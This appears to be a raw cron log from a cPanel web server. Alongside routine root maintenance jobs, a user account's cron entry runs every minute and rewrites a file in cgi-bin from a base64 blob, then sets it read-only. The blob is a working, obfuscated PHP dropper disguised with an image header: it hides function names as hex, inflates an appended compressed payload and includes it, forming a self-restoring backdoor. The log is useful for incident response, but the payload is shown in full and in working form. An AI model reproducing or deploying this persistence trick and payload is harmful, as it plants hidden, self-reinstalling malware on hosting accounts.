Sep  2 11:56:01 server CROND[5494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:56:01 server CROND[5495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:57:01 server CROND[5958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:57:01 server CROND[5959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:57:01 server CROND[5960]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 11:57:01 server CROND[5961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:58:01 server CROND[6344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:58:01 server CROND[6345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:58:01 server CROND[6346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:59:01 server CROND[6725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:59:01 server CROND[6726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:59:01 server CROND[6727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:00:01 server CROND[7107]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  2 12:00:01 server CROND[7109]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:00:01 server CROND[7110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:00:01 server CROND[7111]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 12:00:01 server CROND[7117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:00:01 server CROND[7114]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:00:01 server CROND[7115]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:00:01 server CROND[7116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:00:01 server CROND[7113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:00:01 server CROND[7112]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 12:00:01 server CROND[7118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:01:01 server CROND[7975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:01:01 server CROND[7977]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 12:01:01 server CROND[7979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:01:01 server CROND[7978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:01:01 server run-parts(/etc/cron.hourly)[7977]: starting 0anacron
Sep  2 12:01:01 server run-parts(/etc/cron.hourly)[7999]: finished 0anacron
Sep  2 12:02:01 server CROND[8387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:02:01 server CROND[8388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:02:01 server CROND[8389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:03:01 server CROND[8856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:03:01 server CROND[8857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:03:01 server CROND[8858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:04:01 server CROND[9309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:04:01 server CROND[9310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:04:01 server CROND[9311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:05:01 server CROND[9807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:05:01 server CROND[9809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:05:01 server CROND[9805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:05:01 server CROND[9806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:05:01 server CROND[9810]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 12:05:01 server CROND[9811]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:05:01 server CROND[9808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:05:01 server CROND[9812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:06:01 server CROND[10673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:06:01 server CROND[10680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:06:01 server CROND[10684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:07:01 server CROND[11042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:07:01 server CROND[11043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
